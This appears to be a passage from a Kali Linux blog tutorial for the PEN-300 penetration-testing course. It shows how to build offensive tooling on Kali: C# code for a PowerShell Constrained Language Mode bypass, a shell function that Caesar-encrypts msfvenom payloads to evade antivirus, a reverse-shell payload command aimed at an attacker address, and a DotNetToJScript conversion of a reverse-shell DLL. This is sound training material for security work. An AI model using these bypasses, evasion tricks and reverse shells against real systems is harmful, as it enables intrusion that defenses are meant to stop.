kali@kali:~$ wine exec.exe

Constrained Language Mode Bypass

It’s not always that easy — sometimes things get a bit trickier. For example, for compiling the Constrained Language Mode (CLM) bypass section, we need some DLL libraries from Microsoft: System.Management.Automation.dll and System.Configuration.Install.dll:

Good news! Powershell Empire already includes them; you just have to install the package and run it so that it downloads all the required files for you:

kali@kali:~$ sudo apt install powershell-empire
[...]
# Configure powershell-empire (downloads required DLL files for CSharp)
kali@kali:~$ powershell-empire server
[...]

Let’s find the needed DLL(s):

kali@kali:~$ sudo updatedb
kali@kali:~$ locate System.Management.Automation.dll
/home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net35/System.Management.Automation.dll
/home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net40/System.Management.Automation.dll
[...]
kali@kali:~$ locate System.Configuration.Install.dll
/home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net35/System.Configuration.Install.dll
/home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net40/System.Configuration.Install.dll
/home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net45/System.Configuration.Install.dll

Now we are ready to compile our CLM bypass:

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("This is the main method which is a decoy");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
String cmd = "$ExecutionContext.SessionState.LanguageMode | Out-File -FilePath C:\\Tools\\test.txt";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
kali@kali:~$ TERM=linux mcs \
-target:library \
-out:bypass.dll bypass.cs \
-r:$(echo /home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-*/EmpireCompiler/Data/AssemblyReferences/net40/System.Management.Automation.dll) \
-r:$(echo /home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-*/EmpireCompiler/Data/AssemblyReferences/net40/System.Configuration.Install.dll)
kali@kali:~$ file bypass.dll
bypass.dll: PE32 executable for MS Windows 4.00 (DLL), Intel i386 Mono/.Net assembly, 3 sections
kali@kali:~$

Success!! 🎉🎉

And we didn’t have to deal with the tedious process of creating a project in Visual Studio just for this. This also opens a world of possibilities, as you can now automate the process and create your own templates and shell scripts to generate all kinds of exploits.

If you want to manually download the required DLL files, and to make this method more future proof, you can find them stored in the original Empire-Compiler repository.

Caesar Cipher

We have already shown how helpful the mcs compiler can be, but there’s more. With the same package you also get the csharp code interpreter, which allows you to execute C# code on the fly. Here’s a useful example:

In the PEN-300 course, one of the methods explained for antivirus evasion consists of encrypting the payload using the Caesar cipher. To do this, the course provides some C# code that generates a binary to perform the encryption. This works, but on Windows it requires creating a new Visual Studio project, adding the code, compiling it, and then passing the payload from msfvenom to the resulting executable. That’s far too many steps. We can simplify the whole process using the csharp console.

The csharpcommand allows you to run C# code directly from the terminal, with no need to compile. So we created a shell function that performs all the previous steps in one go:

Save this inside ~/.zshrc or ~/.bashrc:

caesar_cipher_msfvenom() {
KEY=$1
shift
payload="$(msfvenom "$@" -f csharp -v buf)"
echo
echo
csharp << EOF
using System.Text;
${payload}
for (int i = 0; i < buf.Length; i++)
buf[i] = (byte)(((uint)buf[i] + ${KEY}) & 0xFF);
StringBuilder hex = new StringBuilder(buf.Length * 2);
foreach (byte b in buf)
hex.AppendFormat("0x{0:x2}, ", b);
Console.WriteLine("byte[] buf = new byte[] { " + hex.ToString().Substring(0, hex.Length - 2) + " };");
EOF
}

Now you can run something like this using the first parameter (4) as the cipher key:

kali@kali:~$ caesar_cipher_msfvenom 4 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.164 LPORT=443

Rubeus

Unfortunately Rubeus doesn’t supply a prebuilt exe file. There’s a third-party repository that provides it, but we wanted it self-contained (not dependent on dotnet version), plus we wanted to do it from Kali.

This is now packaged in Kali, so just sudo apt install rubeus

In case you’re curious, here you can check how we managed to compile it from Linux and self-contained:

DotNetToJScript

For this, we directly downloaded the binaries compiled in their repo, as we didn’t manage to compile them (and it’s not really worth it). In this case, you need wine and dotnet35 (it didn’t work with only wine-mono):

kali@kali:~$ sudo apt install wine winetricks
[...]
kali@kali:~$ winetricks dotnet35
[...]
kali@kali:~$


And you can finally use:

# Compile C# code as a library
kali@kali:~$ TERM=linux mcs -target:library -out:rshell.dll rshell.cs
# Convert library to jscript
kali@kali:~$ wine DotNetToJScript.exe rshell.dll --lang=Jscript --ver=v4 -o rshell.js

❌
❌